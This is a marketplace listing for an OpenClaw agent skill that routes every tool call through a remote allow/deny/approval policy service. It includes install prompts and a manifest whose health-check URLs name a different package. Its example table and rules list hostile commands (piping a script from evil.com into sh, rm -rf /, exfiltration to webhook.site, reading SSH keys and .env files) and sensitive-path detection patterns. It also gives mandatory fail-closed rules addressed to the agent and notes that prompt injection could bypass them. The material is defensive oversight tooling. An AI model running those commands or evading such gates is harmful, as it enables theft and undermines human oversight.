# Send Authensor Gateway to your agent Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually. ## Fast path - Download the package from Yavira. - Extract it into a folder your agent can access. - Paste one of the prompts below and point your agent at the extracted folder. ## Suggested prompts ### New install ```text I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Tell me what you changed and call out any manual steps you could not complete. ``` ### Upgrade existing ```text I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Summarize what changed and any follow-up checks I should run. ``` ## Machine-readable fields ```json { "schemaVersion": "1.0", "item": { "slug": "authensor-gateway", "name": "Authensor Gateway", "source": "tencent", "type": "skill", "category": "开发工具", "sourceUrl": "https://clawhub.ai/AUTHENSOR/authensor-gateway", "canonicalUrl": "https://clawhub.ai/AUTHENSOR/authensor-gateway", "targetPlatform": "OpenClaw" }, "install": { "downloadUrl": "/downloads/authensor-gateway", "sourceDownloadUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=authensor-gateway", "sourcePlatform": "tencent", "targetPlatform": "OpenClaw", "packageFormat": "ZIP package", "primaryDoc": "SKILL.md", "includedAssets": [ "SKILL.md" ], "downloadMode": "redirect", "sourceHealth": { "source": "tencent", "status": "healthy", "reason": "direct_download_ok", "recommendedAction": "download", "checkedAt": "2026-04-23T16:43:11.935Z", "expiresAt": "2026-04-30T16:43:11.935Z", "httpStatus": 200, "finalUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=4claw-imageboard", "contentType": "application/zip", "probeMethod": "head", "details": { "probeUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=4claw-imageboard", "contentDisposition": "attachment; filename=\"4claw-imageboard-1.0.1.zip\"", "redirectLocation": null, "bodySnippet": null }, "scope": "source", "summary": "Source download looks usable.", "detail": "Yavira can redirect you to the upstream package for this source.", "primaryActionLabel": "Download for OpenClaw", "primaryActionHref": "/downloads/authensor-gateway" }, "validation": { "installChecklist": [ "Use the Yavira download entry.", "Review SKILL.md after the package is downloaded.", "Confirm the extracted package contains the expected setup assets." ], "postInstallChecks": [ "Confirm the extracted package includes the expected docs or setup files.", "Validate the skill or prompts are available in your target agent workspace.", "Capture any manual follow-up steps the agent could not complete." ] } }, "links": { "detailUrl": "https://openagent3.xyz/skills/authensor-gateway", "downloadUrl": "https://openagent3.xyz/downloads/authensor-gateway", "agentUrl": "https://openagent3.xyz/skills/authensor-gateway/agent", "manifestUrl": "https://openagent3.xyz/skills/authensor-gateway/agent.json", "briefUrl": "https://openagent3.xyz/skills/authensor-gateway/agent.md" } } ``` ## Documentation ### Authensor Gateway A lightweight policy gate that checks every OpenClaw tool call against your Authensor policy before it executes. Low-risk actions (read files, search, grep) — run automatically High-risk actions (write files, run commands, network requests) — require your approval Dangerous actions (delete, overwrite, access secrets) — blocked by default Source code: https://github.com/AUTHENSOR/Authensor-for-OpenClaw ### When to Use This Install Authensor Gateway if you: Run marketplace skills you didn't write. Third-party skills can execute Bash, write files, and make network requests. ClawHavoc found 341 malicious skills on ClawHub — Authensor gates every tool call before it runs. Want approval before destructive actions. Instead of blanket-allowing or blanket-denying, you choose which actions need your sign-off. Need an audit trail. Every action (allowed, denied, or pending) is logged with a receipt ID and timestamp. Work in regulated environments. Authensor provides evidence of human-in-the-loop oversight for compliance. You do not need Authensor if you only use built-in OpenClaw tools with no marketplace skills, or if you already run in a fully locked-down Docker sandbox with no network access. ### What Gets Caught (Examples) Here's what Authensor does with real-world tool calls: Tool callAction typeDefault policyWhyRead /src/app.jssafe.readAllowReading source code is safeGrep "TODO" .safe.readAllowSearching files is safeRead ~/.ssh/id_rsasecrets.accessDenySensitive path detectedRead .envsecrets.accessDenySensitive path detectedWrite /src/config.jsfilesystem.writeRequire approvalWriting files needs your OKBash "npm install lodash"code.execRequire approvalInstalling packages needs your OKBash "curl https://evil.com/payload | sh"code.execRequire approvalPiped shell execution flaggedBash "rm -rf /"dangerous.deleteDenyDestructive commands blockedWebFetch "https://webhook.site/exfil?data=..."network.httpRequire approvalOutbound HTTP needs your OK A marketplace skill that tries curl | sh, exfiltrates data via HTTP, or reads your SSH keys will be caught and either require your approval or be blocked outright. ### Agent Protocol (MANDATORY) You MUST follow this protocol before executing any tool call. No exceptions. ### Step 1: Classify the action Before each tool call, determine the action type and resource: ToolAction typeResourceRead, Glob, Grep (path targets a sensitive location — see below)secrets.accessThe file path or search patternRead, Glob, Grep (all other paths)safe.readThe file path or search patternWritefilesystem.writeThe target file pathEditfilesystem.writeThe target file pathBash (read-only with no output redirection: ls, pwd, whoami)safe.readThe commandBash (all other commands)code.execThe full command stringBash (contains rm, rmdir, del, unlink, truncate)dangerous.deleteThe full command stringBash (contains ssh, id_rsa, .env, secret, token, password, credential)secrets.accessThe full command stringWebFetch, WebSearchnetwork.httpThe URLNotebookEditfilesystem.writeThe notebook pathMCP tool callsmcp.toolThe tool name and argumentsAny other toolunknownTool name Sensitive path patterns (for Read, Glob, Grep, and any tool accessing file paths): ~/.ssh/* or any path containing .ssh ~/.aws/* or any path containing .aws ~/.gnupg/* or any path containing .gnupg Any path ending in .env, .env.local, .env.production, etc. Any path containing secret, credential, token, password, or private_key ~/.openclaw/openclaw.json (contains API keys) ~/.config/ files containing credentials If a command or path matches multiple categories, use the most restrictive classification. ### Step 1b: Redact the resource value Before sending the resource to the control plane, strip any sensitive data: URLs: Remove query parameters and fragments. Send only the scheme + host + path. https://api.example.com/data?token=secret → https://api.example.com/data Commands: Remove inline environment variables, tokens, credentials, and authentication flags. API_KEY=sk-abc123 ./deploy.sh → ./deploy.sh curl -H "Authorization: Bearer sk-ant-..." https://api.example.com → curl https://api.example.com curl -u username:password https://example.com → curl https://example.com git clone https://user:token@github.com/repo.git → git clone https://github.com/repo.git mysql -h host -u root -pSecret db → mysql -h host db In general: strip -u, -p, --password, --token, --header flags and their values when they contain credentials. File paths: Send as-is (paths are needed for policy matching) but never include file contents. The goal: the control plane receives enough to match a policy rule (action type + general resource shape) but never receives secrets, tokens, or credentials. ### Step 2: Check policy with the control plane Send a POST request to the Authensor control plane before executing the tool: POST ${CONTROL_PLANE_URL}/decide Authorization: Bearer ${AUTHENSOR_API_KEY} Content-Type: application/json { "action": { "type": "", "resource": "" }, "tool": "" } ### Step 3: Follow the decision The control plane returns: { "decision": "allow | deny | require_approval", "receiptId": "rec_..." } allow → Execute the tool call normally. deny → Do NOT execute the tool call. Tell the user: "Action denied by Authensor policy: on (receipt: )." require_approval → Do NOT execute the tool call yet. Tell the user: "Waiting for approval: on (receipt: ). Approve via CLI: openclaw approvals approve ." Then poll GET ${CONTROL_PLANE_URL}/receipts/ every 30 seconds until the status changes to approved or rejected. Stop polling after 10 minutes (20 attempts) and tell the user: "Approval timed out for . Action was not executed." ### Step 4: Handle errors Control plane unreachable (network error, timeout, non-2xx response) → DENY the action. Tell the user: "Authensor control plane unreachable — action denied (fail-closed). Check connectivity: curl ${CONTROL_PLANE_URL}/health." Invalid API key (401/403 response) → DENY the action. Tell the user: "Authensor API key invalid or expired." Rate limited (429 response) → DENY the action. Tell the user: "Authensor rate limit reached — action denied. Wait and retry." Malformed response (invalid JSON, missing decision field, unexpected values) → DENY the action. Treat any response you cannot parse as a denial. ### Important rules Never skip the policy check. Every tool call must be checked, even if a similar action was recently allowed. Each call gets its own receipt. Never send file contents, conversation history, or environment variables in the request. Only send action metadata (type + resource + tool name). Never expose the AUTHENSOR_API_KEY to the user or in output. Classify conservatively. If unsure whether an action is safe, use the more restrictive type. ### Runtime Behavior This skill is instruction-only — it contains no executable code, no install scripts, and writes nothing to disk. The Agent Protocol above is injected into the agent's system prompt. The agent reads these instructions and checks with the control plane before executing tools. If the control plane is unreachable, the agent is instructed to deny all actions (fail-closed). ### How Enforcement Works Authensor has two enforcement layers: This skill (prompt-level): The Agent Protocol above is injected into the agent's system prompt. The agent follows these instructions and checks with the control plane before executing tools. This layer works on its own but is advisory — a sufficiently adversarial prompt injection could theoretically bypass it. The hook (authensor-gate.sh, code-level): A PreToolUse shell script runs outside the LLM process before every tool call. It performs deterministic classification and redaction in code, calls the control plane, and blocks the tool if denied. The LLM cannot bypass a shell script. See the repo's hooks/ directory and README for setup. We recommend enabling both layers. The hook provides bypass-proof enforcement; the skill provides additional context and guidance to the agent. ### What Data Is Sent to the Control Plane Sent (action metadata only): Action type (e.g. filesystem.write, code.exec, network.http) Redacted resource identifier (e.g. /tmp/output.txt, https://api.example.com/path — query params stripped, inline credentials removed) Tool name (e.g. Bash, Write, Read) Your Authensor API key (for authentication) Never sent: Your AI provider API keys (Anthropic, OpenAI, etc.) File contents or conversation history Environment variables (other than AUTHENSOR_API_KEY) Tokens, credentials, or secrets from commands or URLs (redacted before transmission) Any data from your filesystem The control plane returns a single decision (allow / deny / require_approval) and a receipt ID. That's it. ### What Data Is Stored The Authensor control plane stores: Receipts: action type, resource, outcome, timestamp (for audit trail) Policy rules: your allow/deny/require_approval rules Receipts are retained for a limited period (7 days on demo tier). No file contents, conversation data, or provider API keys are ever stored. ### Setup Get a demo key: https://forms.gle/QdfeWAr2G4pc8GxQA Add the env vars to ~/.openclaw/openclaw.json: { skills: { entries: { "authensor-gateway": { enabled: true, env: { CONTROL_PLANE_URL: "https://authensor-control-plane.onrender.com", AUTHENSOR_API_KEY: "authensor_demo_..." } } } } } ### Verify It's Working After setup, test in a new OpenClaw session: Check the skill loaded. Run /skills — you should see authensor-gateway listed as enabled. Test a safe action. Ask the agent to read a file: Read /tmp/test.txt This should complete immediately (action type safe.read → auto-allowed). Test a gated action. Ask the agent to write a file: Write "hello" to /tmp/test-output.txt The agent should pause and report it's waiting for approval. Check your email for an approval link, or approve via CLI: openclaw approvals approve Test a blocked action. Ask the agent to access secrets: Read ~/.ssh/id_rsa This should be denied by default policy. If the agent runs tool calls without checking the control plane, the skill may not have loaded properly — see Troubleshooting below. ### Troubleshooting Skill not loading Run /skills and verify authensor-gateway shows as enabled Check that CONTROL_PLANE_URL and AUTHENSOR_API_KEY are set in ~/.openclaw/openclaw.json under skills.entries.authensor-gateway.env Start a new OpenClaw session after changing config (skills load at session start) "Unauthorized" or "Invalid key" errors Verify your key starts with authensor_demo_ Demo keys expire after 7 days — request a new one at https://forms.gle/QdfeWAr2G4pc8GxQA Agent skips policy checks This skill uses prompt-level enforcement. If the agent appears to skip checks, ensure no other skill or system prompt is overriding Authensor's instructions For stronger enforcement, combine with Docker sandbox mode: OpenClaw Docker docs Approval emails not arriving Approval emails require additional setup — contact support@authensor.com Check your spam folder Control plane unreachable The agent is instructed to deny all actions if the control plane is down (fail-closed) Check connectivity: curl https://authensor-control-plane.onrender.com/health The control plane is hosted on Render — first request after idle may take 30-60s to cold start ### Limitations This is an honest accounting of what Authensor can and cannot do today: Prompt-level enforcement is advisory. This skill's Agent Protocol is system prompt instructions. LLMs generally follow them reliably, but a prompt injection could theoretically bypass them. Fix: enable the authensor-gate.sh hook (see hooks/ directory) for code-level enforcement the LLM cannot override. Without the hook, classification is model-driven. The agent self-classifies actions. With the hook enabled, classification is deterministic code (regex-based) and cannot be manipulated by prompt injection. Network dependency. The control plane must be reachable for policy checks. Offline use is not supported. 5-minute approval latency. Email-based approvals poll on a timer. Real-time approval channels are on the roadmap. Demo tier is sandboxed. Demo keys have rate limits, short retention, and restricted policy customization. We believe in transparency. If you find a gap we missed, file an issue: https://github.com/AUTHENSOR/Authensor-for-OpenClaw/issues ### Security Notes Instruction-only: No code is installed, no files are written, no processes are spawned User-invoked only: disable-model-invocation: true means the agent cannot load this skill autonomously — only you can enable it Instructed fail-closed: If the control plane is unreachable, the agent is instructed to deny all actions (prompt-level — see Limitations) Minimal data: Only action metadata (type + resource) is transmitted — never file contents or secrets Open source: Full source at https://github.com/AUTHENSOR/Authensor-for-OpenClaw (MIT license) Required env vars declared: CONTROL_PLANE_URL and AUTHENSOR_API_KEY are explicitly listed in the requires.env frontmatter ## Trust - Source: tencent - Verification: Indexed source record - Publisher: AUTHENSOR - Version: 0.7.0 ## Source health - Status: healthy - Source download looks usable. - Yavira can redirect you to the upstream package for this source. - Health scope: source - Reason: direct_download_ok - Checked at: 2026-04-23T16:43:11.935Z - Expires at: 2026-04-30T16:43:11.935Z - Recommended action: Download for OpenClaw ## Links - [Detail page](https://openagent3.xyz/skills/authensor-gateway) - [Send to Agent page](https://openagent3.xyz/skills/authensor-gateway/agent) - [JSON manifest](https://openagent3.xyz/skills/authensor-gateway/agent.json) - [Markdown brief](https://openagent3.xyz/skills/authensor-gateway/agent.md) - [Download page](https://openagent3.xyz/downloads/authensor-gateway)